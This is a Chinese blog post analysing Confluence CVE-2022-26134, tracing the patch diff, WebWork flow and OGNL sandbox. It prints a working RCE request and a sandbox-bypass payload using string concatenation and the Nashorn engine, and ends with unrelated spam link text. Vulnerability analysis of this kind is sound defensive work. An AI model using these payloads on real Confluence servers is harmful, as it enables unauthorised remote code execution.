<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          confluence-CVE-2022-26134漏洞分析

          共 17106字,需瀏覽 35分鐘

           ·

          2022-06-26 13:49

          漏洞背景

          官方鏈接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

          SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data Center
          Advisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)
          Affected ProductsConfluenceConfluence ServerConfluence Data Center
          Affected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.
          Fixed Versions7.4.17
          7.13.7
          7.14.3
          7.15.2
          7.16.4
          7.17.4
          7.18.1

          所有版本的 Confluence 和 DataCenter 都會受影響

          臨時修復方式:

          • 7.15.0-7.18.0: 替換xwork-1.0.3-atlassian-10.jar文件
          • 6.0.0-7.14.2: 替換以下文件
            • xwork-1.0.3-atlassian-10.jar
            • webwork-2.1.5-atlassian-4.jar
            • CachedConfigurationProvider.class

          代碼分析

          diff 補丁

          xwork-1.0.3-atlassian-10.jar和低版本進行反編譯 diff

          區(qū)別在于將

          finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
          finalActionName = TextParseUtil.translateVariables(this.actionName, stack))

          修改為

          finalNamespace = this.namespace, 
          finalActionName = this.actionName

          少了TextParseUtil.translateVariables()的流程

          該函數(shù)處理調用了

          Object o = OgnlValueStack.findValue(g);

          ...

          Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);

          較為明顯的ognl表達式注入,那我們來看一下具體的觸發(fā)流程。

          WebWork 框架分析

          Confluence 使用 WebWork 框架,框架調用流轉圖, 整個 HTTP 請求邏輯是隨著這個框架處理流程來的。

          1. 客戶發(fā)起 HTTP 流程訪問
          2. 按照 servlet 規(guī)范,先由 filter 進行處理,然后由 WebWork 核心控制器 ServletDispatcher 進行處理
          3. WebWork 根據(jù) xwork.xml 配置文件 來處理請求:在配置文件中定義路由對應的攔截器,業(yè)務邏輯,業(yè)務邏輯響應等部分
          4. 先依次調用攔截器(before),然后再由業(yè)務邏輯處理
          5. 根據(jù)業(yè)務邏輯返回的響應類型對響應進行渲染
          6. 依次調用攔截器(after),然后將響應輸出

          confluence 在web.xml中引入WebWork框架配置

          <servlet>
           <servlet-name>action</servlet-name>
           <servlet-class>com.atlassian.confluence.servlet.ConfluenceServletDispatcher</servlet-class>
           <load-on-startup>1</load-on-startup>
          </servlet>


          <servlet-mapping>
           <servlet-name>action</servlet-name>
           <url-pattern>*.action</url-pattern>
          </servlet-mapping>

          ConfluenceServletDispatcher基類com.opensymphony.webwork.dispatcher.ServletDispatcher

          框架配置說明文件:xwork.xml文件,在 jar 包confluence-版本號.jar

          對配置文件進行說明

          一個Demo ??

          action 映射邏輯,指定 url 映射的處理類

          請求如下的url/person/jasperList.action

          1. package 命名空間 name:person, namespace person , 對應一級路徑
          2. action 最小的處理單元,name:jasperList, 對應二級路徑,class 處理類:com.opensymphony.webwork.showcase.jasper.JasperAction
          3. result 響應結果是枚舉類型 "success", 響應類型為 jasper
          4. param 參數(shù):參數(shù)名和參數(shù)類型

          再舉一個例子 login.action

          confluence 7.4.10 版本 xwork.xml 文件,default命名空間下的login action,訪問路徑/login.action

          1. package 命名空間 name:default,在未匹配到命名空間的情況下映射到該命名空間處理。(注意此刻一級目錄為空)
          2. action name:login, class 處理類:com.atlassian.confluence.user.actions.LoginAction , 處理方法doDefault
          3. interceptor-refvalidatingStack,引用攔截器validatingStack
          4. 響應結果input, 類型為 velocity,使用login.vm進行渲染

          interceptor-ref配置的攔截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等攔截器, 攔截器集合是可以進行嵌套的。

           <interceptor-stack name="validatingStack">
           <interceptor-ref name="defaultStack"/>

           <!--Must come after pageAware and spaceAware, as the view rendered in a response to a failed validation may access properties of page and/or space objects.-->
           <interceptor-ref name="captcha"/>

           <interceptor-ref name="validator"/>
           <interceptor-ref name="workflow"/>
           <interceptor-ref name="profiling">
            <param name="location">After validatingStack</param>
           </interceptor-ref>
          </interceptor-stack>

          再再舉一個例子 index.action

          default命名空間下,默認訪問的 action 為index,訪問根目錄會使用index進行響應

          <action name="index" class="com.atlassian.confluence.core.actions.IndexAction">
           <interceptor-ref name="defaultStack"/>
           <result name="redirect" type="redirect">${location}</result>
           <result name="forward" type="dispatcher">${location}</result>
          </action>

          配置了defaultStack進行處理

          看一下defaultStack攔截器的配置,注意攔截器是按照配置依次調用的,存在順序。

          <interceptor-stack name="defaultStack">
           <interceptor-ref name="profiling">
            <param name="location">Before defaultStack</param>
           </interceptor-ref>
           <interceptor-ref name="securityHeaders"/>
           <interceptor-ref name="setupIncomplete"/>
           <interceptor-ref name="transaction"/>
           <interceptor-ref name="params"/>
           <interceptor-ref name="autowire"/>
           <interceptor-ref name="lastModified"/>
           <interceptor-ref name="servlet"/>
           <interceptor-ref name="flashScope"/>
           <interceptor-ref name="confluenceAccess"/>
           <interceptor-ref name="spaceAware"/>
           <interceptor-ref name="pageAware"/>
           <interceptor-ref name="commentAware"/>
           <interceptor-ref name="userAware"/>
           <interceptor-ref name="prepare"/>
           <!-- Must come after pageAware and spaceAware to make sure that pages and spaces are loaded-->
           <!-- Must come before permissions as isPermitted might require some bootstrapping-->
           <interceptor-ref name="bootstrapAware"/>
           <interceptor-ref name="permissions"/>
           <!-- It's a good idea to put this after the permissions check, in case you can determine the existence
             of a space by whether the error page is themed! -->
           <interceptor-ref name="themeContext"/>

           <interceptor-ref name="webSudo"/>
           <interceptor-ref name="httpMethodValidator"/>
           <!--Must come after pageAware and spaceAware since at the moment, some implementations of ConfluenceActionSupport.getCancelResult(), do work against the database with pages and spaces.-->
           <!--Also must come before captcha, else a form with captcha won'
          t be cancellable. Also must come before the validator (as validation should be skipped on cancel)-->
           <interceptor-ref name="cancel"/>

           <interceptor-ref name="loggingContext"/>
           <interceptor-ref name="eventPublisher"/>
           <interceptor-ref name="messageHolder"/>
           <interceptor-ref name="httpRequestStats"/>
           <interceptor-ref name="licenseChecker"/>
           <interceptor-ref name="xsrfToken"/>
           <interceptor-ref name="profiling">
            <param name="location">After defaultStack</param>
           </interceptor-ref>
          </interceptor-stack>

          關注其中的confluenceAccess攔截器,該攔截器定義如下

          <interceptor name="confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />

          intercept 函數(shù)

          如果!this.isAccessPermitted(actionInvocation)返回為否,那么調用actionInvocation.invoke(), 調用下一個 intercept,如果返回為,也就是沒有權限,返回為notpermitted

          默認未授權訪問,即action=index時,是沒有權限的,此刻會響應notpermittedresult類型之一

          如果授權會調用actionInvocation.invoke(),調用下一個攔截器,如果響應resultCode,會調用this.execuResult(), 大家可以回想一下 WebWork 的數(shù)據(jù)流圖。代碼邏輯如下

          如果響應有權限,那么會遞歸調用actionInvocation.invoke(), 否則輸出 resultCode,進入 executeResult()。

          接下來跟蹤調用棧,ActionChainResult#exec調用了TextParseUtil@translateVariables, 然后就快進到 ongl 表達式的執(zhí)行流程了

          可知 namespace 是我們可控的 url 路徑參數(shù)

          可以函數(shù)com.opensymphony.xwork.util.OgnlValueStack#findValue看到調用Ognl.getValue即可造成 ognl 代碼執(zhí)行

          相應poc如下

          GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
          Host: 10.211.55.8:8090
          User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
          Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
          Accept-Encoding: gzip, deflate
          DNT: 1
          Connection: close
          Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
          Upgrade-Insecure-Requests: 1

          繞沙箱

          關注一下com.opensymphony.xwork.util.OgnlValueStack#findValue實現(xiàn)

          官方說明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html

          在 7.15 版本中添加,阻止對 java 特定類和特定包訪問,與https://struts.apache.org/security/#internal-security-mechanism相似

          表達式經(jīng)過safeExpressionUtil.isSafeExpression判斷

          com.opensymphony.xwork.util.SafeExpressionUtil沙箱類分析

          關鍵配置

          • xwork.excludedClasses - a comma-separated list of excluded classes.

          • xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.

          • xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.

          黑白名單列表

          <constant name="xwork.excludedClasses"
           value="
           java.lang.Object,
           java.lang.Runtime,
           java.lang.System,
           java.lang.Class,
           java.lang.ClassLoader,
           java.lang.Shutdown,
           java.lang.ProcessBuilder,
           java.lang.Thread,
           sun.misc.Unsafe,
           com.opensymphony.xwork.ActionContext
           java.lang.Compiler,
           java.lang.InheritableThreadLocal,
           java.lang.Package,
           java.lang.Process,
           java.lang.RuntimePermission,
           java.lang.SecurityManager,
           java.lang.ThreadGroup,
           java.lang.ThreadLocal,
           javax.script.ScriptEngineManager,
           javax.servlet.ServletContext,
           javax.persistence.EntityManager,
           org.apache.tomcat.InstanceManager,
           org.springframework.context.ApplicationContext,
           com.atlassian.applinks.api.ApplicationLinkRequestFactory,
           com.atlassian.core.util.ClassLoaderUtils,
           com.atlassian.core.util.ClassHelper"
           />

           <constant name="xwork.excludedPackageNames"
           value="
           ognl,
           java.io,
           java.net,
           java.nio,
           javax,
           freemarker.core,
           freemarker.template,
           freemarker.ext.jsp,
           freemarker.ext.rhino,
           sun.misc,
           sun.reflect,
           javassist,
           org.apache.velocity,
           org.objectweb.asm,
           org.springframework.context,
           com.opensymphony.xwork.util,
           org.apache.tomcat,
           org.apache.catalina.core,
           org.wildfly.extension.undertow.deployment
           java.lang.reflect,
           com.atlassian.cache,
           com.atlassian.confluence.util.http,
           com.atlassian.failurecache,
           com.atlassian.vcache,
           com.atlassian.sal.api.net,
           com.google.common.cache,
           com.google.common.net,
           com.hazelcast,java.jms,
           java.rmi,
           javax.management,
           javax.naming,
           org.apache.catalina.session,
           org.apache.commons.httpclient,
           org.apache.httpcomponents.httpclient,
           org.apache.http.client,
           org.ehcache,
           com.google.common.reflect,
           com.sun.jmx,com.sun.jna,
           javax.xml,jdk.nashorn,
           net.bytebuddy,
           net.sf.cglib,org.apache.bcel,
           org.javassist,org.ow2.asm,
           sun.awt.shell,
           sun.corba,
           sun.invoke,
           sun.launcher,
           sun.management,
           sun.misc,
           sun.net,
           sun.nio,
           sun.print,
           sun.reflect,
           sun.rmi,
           sun.security,
           sun.tracing,
           sun.tools.jar,
           com.atlassian.activeobjects,
           com.atlassian.hibernate,
           java.sql,
           javax.persistence,
           javax.sql,
           liquibase,
           net.java.ao,
           net.sf.hibernate,
           com.atlassian.confluence.setup.bandana,
           com.atlassian.filestore,
           com.atlassian.media,
           com.google.common.io,
           java.util.jar,
           java.util.zip,
           org.apache.commons.io,
           com.atlassian.confluence.impl.util.sandbox,
           com.atlassian.confluence.util.io,
           com.atlassian.confluence.util.sandbox,
           com.atlassian.quartz,
           com.atlassian.scheduler,
           com.atlassian.utils.process,
           com.atlassian.util.concurrent,
           io.atlassian.util.concurrent,
           java.util.concurrent,
           org.apache.commons.exec,
           org.springframework.expression.spel,
           org.springframework.util.concurrent,
           org.quartz,
           oshi"
           />

          <constant name="xwork.allowedClasses"
           value="com.atlassian.confluence.util.GeneralUtil,
            java.io.Serializable,
            java.lang.reflect.Proxy,
            net.sf.hibernate.proxy.HibernateProxy,
            net.sf.cglib.proxy.Factory,
            java.io.ObjectInputValidation,
            net.java.ao.Entity,
            net.java.ao.RawEntity,
            net.java.ao.EntityProxyAccessor"
           />

          沙箱核心邏輯,調用OgnlUtil.compile對表達式進行解析,對每一個 node compile 之后進行遞歸的安全判斷。

           private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
           if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
            if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
             return false;
            }

            if (this.isUnSafeClass(expression)) {
             this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
             return false;
            }

            if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
             this.SAFE_EXPRESSIONS_CACHE.add(expression);
            } else {
             try {
              Object parsedExpression = OgnlUtil.compile(expression);
              if (parsedExpression instanceof Node) {
               if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
                this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
                log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
               } else {
                this.SAFE_EXPRESSIONS_CACHE.add(expression);
               }
              }
             } catch (RuntimeException | OgnlException var4) {
              this.SAFE_EXPRESSIONS_CACHE.add(expression);
              log.debug("Cannot verify safety of OGNL expression", var4);
             }
            }
           }

           return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
          }

          通過字符串拼接的方式繞過 node 類型為ASTconstant判斷邏輯

          private boolean containsUnsafeExpression(Node node, Set<String> visitedExpressions) {
           String nodeClassName = node.getClass().getName();
           if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
            return true;
           } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
            return true;
           } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
            return true;
           } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
            return true;
           } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
            return true;
           } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
            return true;
           } else {
            for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
             Node childNode = node.jjtGetChild(i);
             if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
              return true;
             }
            }

            return false;
           }
          }

          兩個關鍵點

          1. 利用反射構造惡意對象及實例
          2. 利用字符串拼接繞過常量匹配

          對應 poc 如下

          /%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/ 



          往期精彩文章




          CVE-2022-27925 Zimbra Collaboration 存在路徑穿越漏洞最終導致RCE
          記一次IIS-Raid后門應急經(jīng)歷
          ThinkPHP常見框架漏洞復現(xiàn)分析
          域滲透之外網(wǎng)打點到三層內網(wǎng)
          團隊招人進行時!期待優(yōu)秀的你加入


          技術支持:白帽子社區(qū)團隊
          — 掃碼關注我們 



          瀏覽 47
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  向井蓝无码精品一区二区 | 亚洲成人一区二区 | 美女航空一级毛片在线播放 | 日皮视频在线免费看 | 乱伦熟女av |